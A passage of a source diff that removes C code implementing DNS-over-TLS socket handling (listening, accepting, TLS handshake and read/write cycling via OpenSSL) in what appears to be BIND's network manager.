-	RUNTIME_CHECK(result == ISC_R_SUCCESS);
-#endif
-
-	return (sock);
-}
-
-static void
-start_tlsdns_child(isc_nm_t *mgr, isc_sockaddr_t *iface, isc_nmsocket_t *sock,
-		   uv_os_sock_t fd, int tid) {
-	isc__netievent_tlsdnslisten_t *ievent = NULL;
-	isc_nmsocket_t *csock = &sock->children[tid];
-
-	isc__nmsocket_init(csock, mgr, isc_nm_tlsdnssocket, iface);
-	csock->parent = sock;
-	csock->accept_cb = sock->accept_cb;
-	csock->accept_cbarg = sock->accept_cbarg;
-	csock->recv_cb = sock->recv_cb;
-	csock->recv_cbarg = sock->recv_cbarg;
-	csock->extrahandlesize = sock->extrahandlesize;
-	csock->backlog = sock->backlog;
-	csock->tid = tid;
-	csock->tls.ctx = sock->tls.ctx;
-
-	/*
-	 * We don't attach to quota, just assign - to avoid
-	 * increasing quota unnecessarily.
-	 */
-	csock->pquota = sock->pquota;
-	isc_quota_cb_init(&csock->quotacb, quota_accept_cb, csock);
-
-#if HAVE_SO_REUSEPORT_LB
-	UNUSED(fd);
-	csock->fd = isc__nm_tlsdns_lb_socket(iface->type.sa.sa_family);
-#else
-	csock->fd = dup(fd);
-#endif
-	REQUIRE(csock->fd >= 0);
-
-	ievent = isc__nm_get_netievent_tlsdnslisten(mgr, csock);
-	isc__nm_maybe_enqueue_ievent(&mgr->workers[tid],
-				     (isc__netievent_t *)ievent);
-}
-
-static void
-enqueue_stoplistening(isc_nmsocket_t *sock) {
-	isc__netievent_tlsdnsstop_t *ievent =
-		isc__nm_get_netievent_tlsdnsstop(sock->mgr, sock);
-	isc__nm_enqueue_ievent(&sock->mgr->workers[sock->tid],
-			       (isc__netievent_t *)ievent);
-}
-
-isc_result_t
-isc_nm_listentlsdns(isc_nm_t *mgr, isc_sockaddr_t *iface,
-		    isc_nm_recv_cb_t recv_cb, void *recv_cbarg,
-		    isc_nm_accept_cb_t accept_cb, void *accept_cbarg,
-		    size_t extrahandlesize, int backlog, isc_quota_t *quota,
-		    isc_tlsctx_t *sslctx, isc_nmsocket_t **sockp) {
-	isc_result_t result = ISC_R_SUCCESS;
-	isc_nmsocket_t *sock = NULL;
-	size_t children_size = 0;
-	uv_os_sock_t fd = -1;
-
-	REQUIRE(VALID_NM(mgr));
-
-	sock = isc_mem_get(mgr->mctx, sizeof(*sock));
-	isc__nmsocket_init(sock, mgr, isc_nm_tlsdnslistener, iface);
-
-	atomic_init(&sock->rchildren, 0);
-	sock->nchildren = mgr->nworkers;
-	children_size = sock->nchildren * sizeof(sock->children[0]);
-	sock->children = isc_mem_get(mgr->mctx, children_size);
-	memset(sock->children, 0, children_size);
-
-	sock->result = ISC_R_UNSET;
-	sock->accept_cb = accept_cb;
-	sock->accept_cbarg = accept_cbarg;
-	sock->recv_cb = recv_cb;
-	sock->recv_cbarg = recv_cbarg;
-	sock->extrahandlesize = extrahandlesize;
-	sock->backlog = backlog;
-	sock->pquota = quota;
-
-	sock->tls.ctx = sslctx;
-
-	sock->tid = 0;
-	sock->fd = -1;
-
-#if !HAVE_SO_REUSEPORT_LB
-	fd = isc__nm_tlsdns_lb_socket(iface->type.sa.sa_family);
-#endif
-
-	isc_barrier_init(&sock->startlistening, sock->nchildren);
-
-	for (size_t i = 0; i < sock->nchildren; i++) {
-		if ((int)i == isc_nm_tid()) {
-			continue;
-		}
-		start_tlsdns_child(mgr, iface, sock, fd, i);
-	}
-
-	if (isc__nm_in_netthread()) {
-		start_tlsdns_child(mgr, iface, sock, fd, isc_nm_tid());
-	}
-
-#if !HAVE_SO_REUSEPORT_LB
-	isc__nm_closesocket(fd);
-#endif
-
-	LOCK(&sock->lock);
-	while (atomic_load(&sock->rchildren) != sock->nchildren) {
-		WAIT(&sock->cond, &sock->lock);
-	}
-	result = sock->result;
-	atomic_store(&sock->active, true);
-	UNLOCK(&sock->lock);
-
-	INSIST(result != ISC_R_UNSET);
-
-	if (result == ISC_R_SUCCESS) {
-		REQUIRE(atomic_load(&sock->rchildren) == sock->nchildren);
-		*sockp = sock;
-	} else {
-		atomic_store(&sock->active, false);
-		enqueue_stoplistening(sock);
-		isc_nmsocket_close(&sock);
-	}
-
-	return (result);
-}
-
-void
-isc__nm_async_tlsdnslisten(isc__networker_t *worker, isc__netievent_t *ev0) {
-	isc__netievent_tlsdnslisten_t *ievent =
-		(isc__netievent_tlsdnslisten_t *)ev0;
-	sa_family_t sa_family;
-	int r;
-	int flags = 0;
-	isc_nmsocket_t *sock = NULL;
-	isc_result_t result = ISC_R_UNSET;
-
-	REQUIRE(VALID_NMSOCK(ievent->sock));
-	REQUIRE(ievent->sock->tid == isc_nm_tid());
-	REQUIRE(VALID_NMSOCK(ievent->sock->parent));
-
-	sock = ievent->sock;
-	sa_family = sock->iface.type.sa.sa_family;
-
-	REQUIRE(sock->type == isc_nm_tlsdnssocket);
-	REQUIRE(sock->parent != NULL);
-	REQUIRE(sock->tid == isc_nm_tid());
-
-	/* TODO: set min mss */
-
-	r = uv_tcp_init(&worker->loop, &sock->uv_handle.tcp);
-	RUNTIME_CHECK(r == 0);
-	uv_handle_set_data(&sock->uv_handle.handle, sock);
-	/* This keeps the socket alive after everything else is gone */
-	isc__nmsocket_attach(sock, &(isc_nmsocket_t *){ NULL });
-
-	r = uv_timer_init(&worker->loop, &sock->timer);
-	RUNTIME_CHECK(r == 0);
-	uv_handle_set_data((uv_handle_t *)&sock->timer, sock);
-
-	LOCK(&sock->parent->lock);
-
-	r = uv_tcp_open(&sock->uv_handle.tcp, sock->fd);
-	if (r < 0) {
-		isc__nm_closesocket(sock->fd);
-		isc__nm_incstats(sock->mgr, sock->statsindex[STATID_OPENFAIL]);
-		goto done;
-	}
-	isc__nm_incstats(sock->mgr, sock->statsindex[STATID_OPEN]);
-
-	if (sa_family == AF_INET6) {
-		flags = UV_TCP_IPV6ONLY;
-	}
-
-#if HAVE_SO_REUSEPORT_LB
-	r = isc_uv_tcp_freebind(&sock->uv_handle.tcp, &sock->iface.type.sa,
-				flags);
-	if (r < 0) {
-		isc__nm_incstats(sock->mgr, sock->statsindex[STATID_BINDFAIL]);
-		goto done;
-	}
-#else
-	if (sock->parent->fd == -1) {
-		r = isc_uv_tcp_freebind(&sock->uv_handle.tcp,
-					&sock->iface.type.sa, flags);
-		if (r < 0) {
-			isc__nm_incstats(sock->mgr,
-					 sock->statsindex[STATID_BINDFAIL]);
-			goto done;
-		}
-		sock->parent->uv_handle.tcp.flags = sock->uv_handle.tcp.flags;
-		sock->parent->fd = sock->fd;
-	} else {
-		/* The socket is already bound, just copy the flags */
-		sock->uv_handle.tcp.flags = sock->parent->uv_handle.tcp.flags;
-	}
-#endif
-
-	isc__nm_set_network_buffers(sock->mgr, &sock->uv_handle.handle);
-
-	/*
-	 * The callback will run in the same thread uv_listen() was
-	 * called from, so a race with tlsdns_connection_cb() isn't
-	 * possible.
-	 */
-	r = uv_listen((uv_stream_t *)&sock->uv_handle.tcp, sock->backlog,
-		      tlsdns_connection_cb);
-	if (r != 0) {
-		isc_log_write(isc_lctx, ISC_LOGCATEGORY_GENERAL,
-			      ISC_LOGMODULE_NETMGR, ISC_LOG_ERROR,
-			      "uv_listen failed: %s",
-			      isc_result_totext(isc__nm_uverr2result(r)));
-		isc__nm_incstats(sock->mgr, sock->statsindex[STATID_BINDFAIL]);
-		goto done;
-	}
-
-	atomic_store(&sock->listening, true);
-
-done:
-	result = isc__nm_uverr2result(r);
-	if (result != ISC_R_SUCCESS) {
-		sock->pquota = NULL;
-	}
-
-	atomic_fetch_add(&sock->parent->rchildren, 1);
-	if (sock->parent->result == ISC_R_UNSET) {
-		sock->parent->result = result;
-	}
-	SIGNAL(&sock->parent->cond);
-	UNLOCK(&sock->parent->lock);
-
-	isc_barrier_wait(&sock->parent->startlistening);
-}
-
-static void
-tlsdns_connection_cb(uv_stream_t *server, int status) {
-	isc_nmsocket_t *ssock = uv_handle_get_data((uv_handle_t *)server);
-	isc_result_t result;
-	isc_quota_t *quota = NULL;
-
-	if (status != 0) {
-		result = isc__nm_uverr2result(status);
-		goto done;
-	}
-
-	REQUIRE(VALID_NMSOCK(ssock));
-	REQUIRE(ssock->tid == isc_nm_tid());
-
-	if (isc__nmsocket_closing(ssock)) {
-		result = ISC_R_CANCELED;
-		goto done;
-	}
-
-	if (ssock->pquota != NULL) {
-		result = isc_quota_attach_cb(ssock->pquota, &quota,
-					     &ssock->quotacb);
-		if (result == ISC_R_QUOTA) {
-			isc__nm_incstats(ssock->mgr,
-					 ssock->statsindex[STATID_ACCEPTFAIL]);
-			return;
-		}
-	}
-
-	result = accept_connection(ssock, quota);
-done:
-	if (result != ISC_R_SUCCESS && result != ISC_R_NOCONN) {
-		if ((result != ISC_R_QUOTA && result != ISC_R_SOFTQUOTA) ||
-		    can_log_tlsdns_quota())
-		{
-			isc_log_write(isc_lctx, ISC_LOGCATEGORY_GENERAL,
-				      ISC_LOGMODULE_NETMGR, ISC_LOG_ERROR,
-				      "TCP connection failed: %s",
-				      isc_result_totext(result));
-		}
-	}
-}
-
-void
-isc__nm_tlsdns_stoplistening(isc_nmsocket_t *sock) {
-	REQUIRE(VALID_NMSOCK(sock));
-	REQUIRE(sock->type == isc_nm_tlsdnslistener);
-
-	if (!atomic_compare_exchange_strong(&sock->closing, &(bool){ false },
-					    true)) {
-		INSIST(0);
-		ISC_UNREACHABLE();
-	}
-
-	if (!isc__nm_in_netthread()) {
-		enqueue_stoplistening(sock);
-	} else {
-		stop_tlsdns_parent(sock);
-	}
-}
-
-static void
-tls_shutdown(isc_nmsocket_t *sock) {
-	REQUIRE(VALID_NMSOCK(sock));
-
-	isc__netievent_tlsdnsshutdown_t *ievent =
-		isc__nm_get_netievent_tlsdnsshutdown(sock->mgr, sock);
-	isc__nm_maybe_enqueue_ievent(&sock->mgr->workers[sock->tid],
-				     (isc__netievent_t *)ievent);
-}
-
-void
-isc__nm_async_tlsdnsshutdown(isc__networker_t *worker, isc__netievent_t *ev0) {
-	isc__netievent_tlsdnsshutdown_t *ievent =
-		(isc__netievent_tlsdnsshutdown_t *)ev0;
-	isc_nmsocket_t *sock = ievent->sock;
-	int rv;
-	int err;
-	isc_result_t result;
-
-	UNUSED(worker);
-
-	REQUIRE(VALID_NMSOCK(ievent->sock));
-
-	if (sock->tls.state != TLS_STATE_IO) {
-		/* Nothing to do */
-		return;
-	}
-
-	rv = SSL_shutdown(sock->tls.tls);
-
-	if (rv == 1) {
-		sock->tls.state = TLS_STATE_NONE;
-		/* FIXME: continue closing the socket */
-		return;
-	}
-
-	if (rv == 0) {
-		result = tls_cycle(sock);
-		if (result != ISC_R_SUCCESS) {
-			tls_error(sock, result);
-			return;
-		}
-
-		/* Reschedule closing the socket */
-		tls_shutdown(sock);
-		return;
-	}
-
-	err = SSL_get_error(sock->tls.tls, rv);
-
-	switch (err) {
-	case SSL_ERROR_WANT_READ:
-	case SSL_ERROR_WANT_WRITE:
-	case SSL_ERROR_WANT_X509_LOOKUP:
-		result = tls_cycle(sock);
-		if (result != ISC_R_SUCCESS) {
-			tls_error(sock, result);
-			return;
-		}
-
-		/* Reschedule closing the socket */
-		tls_shutdown(sock);
-		return;
-	case 0:
-		INSIST(0);
-		ISC_UNREACHABLE();
-	case SSL_ERROR_ZERO_RETURN:
-		tls_error(sock, ISC_R_EOF);
-		break;
-	default:
-		tls_error(sock, ISC_R_TLSERROR);
-	}
-	return;
-}
-
-void
-isc__nm_async_tlsdnsstop(isc__networker_t *worker, isc__netievent_t *ev0) {
-	isc__netievent_tlsdnsstop_t *ievent =
-		(isc__netievent_tlsdnsstop_t *)ev0;
-	isc_nmsocket_t *sock = ievent->sock;
-
-	UNUSED(worker);
-
-	REQUIRE(VALID_NMSOCK(sock));
-	REQUIRE(sock->tid == isc_nm_tid());
-
-	if (sock->parent != NULL) {
-		stop_tlsdns_child(sock);
-		return;
-	}
-
-	stop_tlsdns_parent(sock);
-}
-
-void
-isc__nm_tlsdns_failed_read_cb(isc_nmsocket_t *sock, isc_result_t result,
-			      bool async) {
-	REQUIRE(VALID_NMSOCK(sock));
-	REQUIRE(result != ISC_R_SUCCESS);
-
-	isc__nmsocket_timer_stop(sock);
-	isc__nm_stop_reading(sock);
-
-	if (sock->tls.pending_req != NULL) {
-		isc__nm_uvreq_t *req = sock->tls.pending_req;
-		sock->tls.pending_req = NULL;
-		isc__nm_failed_connect_cb(sock, req, ISC_R_CANCELED, async);
-	}
-
-	if (!sock->recv_read) {
-		goto destroy;
-	}
-	sock->recv_read = false;
-
-	if (sock->recv_cb != NULL) {
-		isc__nm_uvreq_t *req = isc__nm_get_read_req(sock, NULL);
-		isc__nmsocket_clearcb(sock);
-		isc__nm_readcb(sock, req, result);
-	}
-
-destroy:
-	isc__nmsocket_prep_destroy(sock);
-
-	/*
-	 * We need to detach from quota after the read callback function
-	 * had a chance to be executed.
-	 */
-	if (sock->quota != NULL) {
-		isc_quota_detach(&sock->quota);
-	}
-}
-
-void
-isc__nm_tlsdns_read(isc_nmhandle_t *handle, isc_nm_recv_cb_t cb, void *cbarg) {
-	REQUIRE(VALID_NMHANDLE(handle));
-	REQUIRE(VALID_NMSOCK(handle->sock));
-
-	isc_nmsocket_t *sock = handle->sock;
-	isc__netievent_tlsdnsread_t *ievent = NULL;
-
-	REQUIRE(sock->type == isc_nm_tlsdnssocket);
-	REQUIRE(sock->statichandle == handle);
-	REQUIRE(sock->tid == isc_nm_tid());
-	REQUIRE(!sock->recv_read);
-
-	sock->recv_cb = cb;
-	sock->recv_cbarg = cbarg;
-	sock->recv_read = true;
-	if (sock->read_timeout == 0) {
-		sock->read_timeout =
-			(atomic_load(&sock->keepalive)
-				 ? atomic_load(&sock->mgr->keepalive)
-				 : atomic_load(&sock->mgr->idle));
-	}
-
-	ievent = isc__nm_get_netievent_tlsdnsread(sock->mgr, sock);
-
-	/*
-	 * This MUST be done asynchronously, no matter which thread
-	 * we're in. The callback function for isc_nm_read() often calls
-	 * isc_nm_read() again; if we tried to do that synchronously
-	 * we'd clash in processbuffer() and grow the stack
-	 * indefinitely.
-	 */
-	isc__nm_enqueue_ievent(&sock->mgr->workers[sock->tid],
-			       (isc__netievent_t *)ievent);
-
-	return;
-}
-
-void
-isc__nm_async_tlsdnsread(isc__networker_t *worker, isc__netievent_t *ev0) {
-	isc__netievent_tlsdnsread_t *ievent =
-		(isc__netievent_tlsdnsread_t *)ev0;
-	isc_nmsocket_t *sock = ievent->sock;
-	isc_result_t result = ISC_R_SUCCESS;
-
-	UNUSED(worker);
-
-	REQUIRE(VALID_NMSOCK(sock));
-	REQUIRE(sock->tid == isc_nm_tid());
-
-	if (isc__nmsocket_closing(sock)) {
-		sock->reading = true;
-		isc__nm_failed_read_cb(sock, ISC_R_CANCELED, false);
-		return;
-	}
-
-	result = tls_cycle(sock);
-	if (result != ISC_R_SUCCESS) {
-		isc__nm_failed_read_cb(sock, result, false);
-	}
-}
-
-/*
- * Process a single packet from the incoming buffer.
- *
- * Return ISC_R_SUCCESS and attach 'handlep' to a handle if something
- * was processed; return ISC_R_NOMORE if there isn't a full message
- * to be processed.
- *
- * The caller will need to unreference the handle.
- */
-isc_result_t
-isc__nm_tlsdns_processbuffer(isc_nmsocket_t *sock) {
-	size_t len;
-	isc__nm_uvreq_t *req = NULL;
-	isc_nmhandle_t *handle = NULL;
-
-	REQUIRE(VALID_NMSOCK(sock));
-	REQUIRE(sock->tid == isc_nm_tid());
-
-	if (isc__nmsocket_closing(sock)) {
-		return (ISC_R_CANCELED);
-	}
-
-	/*
-	 * If we don't even have the length yet, we can't do
-	 * anything.
-	 */
-	if (sock->buf_len < 2) {
-		return (ISC_R_NOMORE);
-	}
-
-	/*
-	 * Process the first packet from the buffer, leaving
-	 * the rest (if any) for later.
-	 */
-	len = ntohs(*(uint16_t *)sock->buf);
-	if (len > sock->buf_len - 2) {
-		return (ISC_R_NOMORE);
-	}
-
-	req = isc__nm_get_read_req(sock, NULL);
-	REQUIRE(VALID_UVREQ(req));
-
-	/*
-	 * We need to launch the resume_processing after the buffer has
-	 * been consumed, thus we need to delay the detaching the
-	 * handle.
-	 */
-	isc_nmhandle_attach(req->handle, &handle);
-
-	/*
-	 * The callback will be called synchronously because the
-	 * result is ISC_R_SUCCESS, so we don't need to have
-	 * the buffer on the heap
-	 */
-	req->uvbuf.base = (char *)sock->buf + 2;
-	req->uvbuf.len = len;
-
-	/*
-	 * If isc__nm_tlsdns_read() was called, it will be satisfied by
-	 * single DNS message in the next call.
-	 */
-	sock->recv_read = false;
-
-	/*
-	 * The assertion failure here means that there's a errnoneous
-	 * extra nmhandle detach happening in the callback and
-	 * resume_processing gets called while we are still processing
-	 * the buffer.
-	 */
-	REQUIRE(sock->processing == false);
-	sock->processing = true;
-	isc__nm_readcb(sock, req, ISC_R_SUCCESS);
-	sock->processing = false;
-
-	len += 2;
-	sock->buf_len -= len;
-	if (sock->buf_len > 0) {
-		memmove(sock->buf, sock->buf + len, sock->buf_len);
-	}
-
-	isc_nmhandle_detach(&handle);
-
-	return (ISC_R_SUCCESS);
-}
-
-static isc_result_t
-tls_cycle_input(isc_nmsocket_t *sock) {
-	isc_result_t result = ISC_R_SUCCESS;
-	int err = 0;
-	int rv = 1;
-
-	if (sock->tls.state == TLS_STATE_IO) {
-		size_t len;
-
-		for (;;) {
-			(void)SSL_peek(sock->tls.tls, &(char){ '\0' }, 0);
-
-			int pending = SSL_pending(sock->tls.tls);
-			if (pending > ISC_NETMGR_TLSBUF_SIZE) {
-				pending = ISC_NETMGR_TLSBUF_SIZE;
-			}
-
-			if ((sock->buf_len + pending) > sock->buf_size) {
-				isc__nm_alloc_dnsbuf(sock,
-						     sock->buf_len + pending);
-			}
-
-			len = 0;
-			rv = SSL_read_ex(sock->tls.tls,
-					 sock->buf + sock->buf_len,
-					 sock->buf_size - sock->buf_len, &len);
-			if (rv != 1) {
-				/*
-				 * Process what's in the buffer so far
-				 */
-				isc__nm_process_sock_buffer(sock);
-
-				/*
-				 * FIXME: Should we call
-				 * isc__nm_failed_read_cb()?
-				 */
-				break;
-			}
-
-			INSIST((size_t)pending == len);
-
-			sock->buf_len += len;
-
-			isc__nm_process_sock_buffer(sock);
-		}
-	} else if (!SSL_is_init_finished(sock->tls.tls)) {
-		if (SSL_is_server(sock->tls.tls)) {
-			rv = SSL_accept(sock->tls.tls);
-		} else {
-			rv = SSL_connect(sock->tls.tls);
-		}
-
-	} else {
-		rv = 1;
-	}
-
-	if (rv <= 0) {
-		err = SSL_get_error(sock->tls.tls, rv);
-	}
-
-	switch (err) {
-	case SSL_ERROR_WANT_READ:
-		if (sock->tls.state == TLS_STATE_NONE &&
-		    !SSL_is_init_finished(sock->tls.tls)) {
-			sock->tls.state = TLS_STATE_HANDSHAKE;
-			isc__nm_process_sock_buffer(sock);
-		}
-		/* else continue reading */
-		break;
-	case SSL_ERROR_WANT_WRITE:
-		async_tlsdns_cycle(sock);
-		break;
-	case SSL_ERROR_WANT_X509_LOOKUP:
-		/* Continue reading/writing */
-		break;
-	case 0:
-		/* Everything is ok, continue */
-		break;
-	case SSL_ERROR_ZERO_RETURN:
-		return (ISC_R_EOF);
-	default:
-		return (ISC_R_TLSERROR);
-	}
-
-	/* Stop state after handshake */
-	if (sock->tls.state == TLS_STATE_HANDSHAKE &&
-	    SSL_is_init_finished(sock->tls.tls))
-	{
-		sock->tls.state = TLS_STATE_IO;
-
-		if (SSL_is_server(sock->tls.tls)) {
-			REQUIRE(sock->recv_handle != NULL);
-			result = sock->accept_cb(sock->recv_handle,
-						 ISC_R_SUCCESS,
-						 sock->accept_cbarg);
-
-			if (result != ISC_R_SUCCESS) {
-				isc_nmhandle_detach(&sock->recv_handle);
-				goto failure;
-			}
-		} else {
-			isc__nm_uvreq_t *req = sock->tls.pending_req;
-			sock->tls.pending_req = NULL;
-
-			isc__nmsocket_timer_stop(sock);
-			uv_handle_set_data((uv_handle_t *)&sock->timer, sock);
-
-			INSIST(atomic_compare_exchange_strong(
-				&sock->connecting, &(bool){ true }, false));
-			isc__nm_connectcb(sock, req, ISC_R_SUCCESS, true);
-		}
-		async_tlsdns_cycle(sock);
-	}
-failure:
-	return (result);
-}
-
-static void
-tls_error(isc_nmsocket_t *sock, isc_result_t result) {
-	switch (sock->tls.state) {
-	case TLS_STATE_HANDSHAKE:
-	case TLS_STATE_IO:
-		if (atomic_load(&sock->connecting)) {
-			isc__nm_uvreq_t *req = sock->tls.pending_req;
-			sock->tls.pending_req = NULL;
-
-			isc__nm_failed_connect_cb(sock, req, result, false);
-		} else {
-			isc__nm_tlsdns_failed_read_cb(sock, result, false);
-		}
-		break;
-	case TLS_STATE_ERROR:
-		return;
-	default:
-		break;
-	}
-
-	sock->tls.state = TLS_STATE_ERROR;
-	sock->tls.pending_error = result;
-
-	isc__nmsocket_shutdown(sock);
-}
-
-static void
-free_senddata(isc_nmsocket_t *sock) {
-	REQUIRE(VALID_NMSOCK(sock));
-	REQUIRE(sock->tls.senddata.base != NULL);
-	REQUIRE(sock->tls.senddata.length > 0);
-
-	isc_mem_put(sock->mgr->mctx, sock->tls.senddata.base,
-		    sock->tls.senddata.length);
-	sock->tls.senddata.base = NULL;
-	sock->tls.senddata.length = 0;
-}
-
-static void
-tls_write_cb(uv_write_t *req, int status) {
-	isc_result_t result;
-	isc__nm_uvreq_t *uvreq = (isc__nm_uvreq_t *)req->data;
-	isc_nmsocket_t *sock = uvreq->sock;
-
-	free_senddata(sock);
-
-	isc__nm_uvreq_put(&uvreq, sock);
-
-	if (status != 0) {
-		tls_error(sock, isc__nm_uverr2result(status));
-		return;
-	}
-
-	result = tls_cycle(sock);
-	if (result != ISC_R_SUCCESS) {
-		tls_error(sock, result);
-		return;
-	}
-}
-
-static isc_result_t
-tls_cycle_output(isc_nmsocket_t *sock) {
-	isc_result_t result = ISC_R_SUCCESS;
-	int pending;
-
-	while ((pending = BIO_pending(sock->tls.app_rbio)) > 0) {
-		isc__nm_uvreq_t *req = NULL;
-		size_t bytes;
-		int rv;
-		int err;
-
-		if (sock->tls.senddata.base != NULL ||
-		    sock->tls.senddata.length > 0) {
-			break;
-		}
-
-		if (pending > ISC_NETMGR_TLSBUF_SIZE) {
-			pending = ISC_NETMGR_TLSBUF_SIZE;
-		}
-
-		sock->tls.senddata.base = isc_mem_get(sock->mgr->mctx, pending);
-		sock->tls.senddata.length = pending;
-
-		req = isc__nm_uvreq_get(sock->mgr, sock);
-		req->uvbuf.base = (char *)sock->tls.senddata.base;
-		req->uvbuf.len = sock->tls.senddata.length;
-
-		rv = BIO_read_ex(sock->tls.app_rbio, req->uvbuf.base,
-				 req->uvbuf.len, &bytes);
-
-		RUNTIME_CHECK(rv == 1);
-		INSIST((size_t)pending == bytes);
-
-		err = uv_try_write(&sock->uv_handle.stream, &req->uvbuf, 1);
-
-		if (err == pending) {
-			/* Wrote everything, restart */
-			isc__nm_uvreq_put(&req, sock);
-			free_senddata(sock);
-			continue;
-		}
-
-		if (err > 0) {
-			/* Partial write, send rest asynchronously */
-			memmove(req->uvbuf.base, req->uvbuf.base + err,
-				req->uvbuf.len - err);
-			req->uvbuf.len = req->uvbuf.len - err;
-		} else if (err == UV_ENOSYS || err == UV_EAGAIN) {
-			/* uv_try_write is not supported, send
-			 * asynchronously */
-		} else {
-			result = isc__nm_uverr2result(err);
-			isc__nm_uvreq_put(&req, sock);
-			free_senddata(sock);
-			break;
-		}
-
-		err = uv_write(&req->uv_req.write, &sock->uv_handle.stream,
-			       &req->uvbuf, 1, tls_write_cb);
-
-		INSIST(err == 0);
-
-		break;
-	}
-
-	return (result);
-}
-
-static isc_result_t
-tls_pop_error(isc_nmsocket_t *sock) {
-	isc_result_t result;
-
-	if (sock->tls.state != TLS_STATE_ERROR) {
-		return (ISC_R_SUCCESS);
-	}
-
-	if (sock->tls.pending_error == ISC_R_SUCCESS) {
-		return (ISC_R_TLSERROR);
-	}
-
-	result = sock->tls.pending_error;
-	sock->tls.pending_error = ISC_R_SUCCESS;
-
-	return (result);
-}
-
-static isc_result_t
-tls_cycle(isc_nmsocket_t *sock) {
-	isc_result_t result;
-
-	if (isc__nmsocket_closing(sock)) {
-		return (ISC_R_CANCELED);
-	}
-
-	result = tls_pop_error(sock);
-	if (result != ISC_R_SUCCESS) {
-		goto done;
-	}
-
-	if (sock->tls.cycle) {
-		return (ISC_R_SUCCESS);
-	}
-
-	sock->tls.cycle = true;
-	result = tls_cycle_input(sock);
-	if (result != ISC_R_SUCCESS) {
-		goto done;
-	}
-
-	result = tls_cycle_output(sock);
-	if (result != ISC_R_SUCCESS) {
-		goto done;
-	}
-done:
-	sock->tls.cycle = false;
-
-	return (result);
-}
-
-static void
-async_tlsdns_cycle(isc_nmsocket_t *sock) {
-	REQUIRE(VALID_NMSOCK(sock));
-
-	/* Socket was closed midflight by isc__nm_tlsdns_shutdown() */
-	if (isc__nmsocket_closing(sock)) {
-		return;
-	}
-
-	isc__netievent_tlsdnscycle_t *ievent =
-		isc__nm_get_netievent_tlsdnscycle(sock->mgr, sock);
-	isc__nm_enqueue_ievent(&sock->mgr->workers[sock->tid],
-			       (isc__netievent_t *)ievent);
-}
-
-void
-isc__nm_async_tlsdnscycle(isc__networker_t *worker, isc__netievent_t *ev0) {
-	isc__netievent_tlsdnscycle_t *ievent =
-		(isc__netievent_tlsdnscycle_t *)ev0;
-	isc_result_t result;
-	isc_nmsocket_t *sock;
-
-	UNUSED(worker);
-
-	REQUIRE(VALID_NMSOCK(ievent->sock));
-	REQUIRE(ievent->sock->tid == isc_nm_tid());
-
-	sock = ievent->sock;
-
-	result = tls_cycle(sock);
-	if (result != ISC_R_SUCCESS) {
-		tls_error(sock, result);
-	}
-}
-
-void
-isc__nm_tlsdns_read_cb(uv_stream_t *stream, ssize_t nread,
-		       const uv_buf_t *buf) {
-	isc_nmsocket_t *sock = uv_handle_get_data((uv_handle_t *)stream);
-	size_t len;
-	isc_result_t result;
-	int rv;
-
-	REQUIRE(VALID_NMSOCK(sock));
-	REQUIRE(sock->tid == isc_nm_tid());
-	REQUIRE(sock->reading);
-	REQUIRE(buf != NULL);
-
-	if (isc__nmsocket_closing(sock)) {
-		isc__nm_failed_read_cb(sock, ISC_R_CANCELED, true);
-		goto free;
-	}
-
-	if (nread < 0) {
-		if (nread != UV_EOF) {
-			isc__nm_incstats(sock->mgr,
-					 sock->statsindex[STATID_RECVFAIL]);
-		}
-
-		isc__nm_failed_read_cb(sock, isc__nm_uverr2result(nread), true);
-
-		goto free;
-	}
-
-	if (!atomic_load(&sock->client)) {
-		sock->read_timeout = atomic_load(&sock->mgr->idle);
-	}
-
-	/*
-	 * The input has to be fed into BIO
-	 */
-	rv = BIO_write_ex(sock->tls.app_wbio, buf->base, (size_t)nread, &len);
-
-	if (rv <= 0 || (size_t)nread != len) {
-		isc__nm_failed_read_cb(sock, ISC_R_TLSERROR, true);
-		goto free;
-	}
-
-	result = tls_cycle(sock);
-	if (result != ISC_R_SUCCESS) {
-		isc__nm_failed_read_cb(sock, result, true);
-	}
-free:
-	async_tlsdns_cycle(sock);
-	isc__nm_free_uvbuf(sock, buf);
-}
-
-static void
-quota_accept_cb(isc_quota_t *quota, void *sock0) {
-	isc_nmsocket_t *sock = (isc_nmsocket_t *)sock0;
-
-	REQUIRE(VALID_NMSOCK(sock));
-
-	/*
-	 * Create a tlsdnsaccept event and pass it using the async
-	 * channel.
-	 */
-
-	isc__netievent_tlsdnsaccept_t *ievent =
-		isc__nm_get_netievent_tlsdnsaccept(sock->mgr, sock, quota);
-	isc__nm_maybe_enqueue_ievent(&sock->mgr->workers[sock->tid],
-				     (isc__netievent_t *)ievent);
-}
-
-/*
- * This is called after we get a quota_accept_cb() callback.
- */
-void
-isc__nm_async_tlsdnsaccept(isc__networker_t *worker, isc__netievent_t *ev0) {
-	isc__netievent_tlsdnsaccept_t *ievent =
-		(isc__netievent_tlsdnsaccept_t *)ev0;
-	isc_result_t result;
-
-	UNUSED(worker);
-
-	REQUIRE(VALID_NMSOCK(ievent->sock));
-	REQUIRE(ievent->sock->tid == isc_nm_tid());
-
-	result = accept_connection(ievent->sock, ievent->quota);
-	if (result != ISC_R_SUCCESS && result != ISC_R_NOCONN) {
-		if ((result != ISC_R_QUOTA && result != ISC_R_SOFTQUOTA) ||
-		    can_log_tlsdns_quota())
-		{
-			isc_log_write(isc_lctx, ISC_LOGCATEGORY_GENERAL,
-				      ISC_LOGMODULE_NETMGR, ISC_LOG_ERROR,
-				      "TCP connection failed: %s",
-				      isc_result_totext(result));
-		}
-	}
-}
-
-static isc_result_t
-accept_connection(isc_nmsocket_t *ssock, isc_quota_t *quota) {
-	isc_nmsocket_t *csock = NULL;
-	isc__networker_t *worker = NULL;
-	int r;
-	isc_result_t result;
-	struct sockaddr_storage peer_ss;
-	struct sockaddr_storage local_ss;
-	isc_sockaddr_t local;
-	isc_nmhandle_t *handle = NULL;
-
-	REQUIRE(VALID_NMSOCK(ssock));
-	REQUIRE(ssock->tid == isc_nm_tid());
-
-	if (isc__nmsocket_closing(ssock)) {
-		if (quota != NULL) {
-			isc_quota_detach(&quota);
-		}
-		return (ISC_R_CANCELED);
-	}
-
-	REQUIRE(ssock->accept_cb != NULL);
-
-	csock = isc_mem_get(ssock->mgr->mctx, sizeof(isc_nmsocket_t));
-	isc__nmsocket_init(csock, ssock->mgr, isc_nm_tlsdnssocket,
-			   &ssock->iface);
-	csock->tid = ssock->tid;
-	csock->extrahandlesize = ssock->extrahandlesize;
-	isc__nmsocket_attach(ssock, &csock->server);
-	csock->accept_cb = ssock->accept_cb;
-	csock->accept_cbarg = ssock->accept_cbarg;
-	csock->recv_cb = ssock->recv_cb;
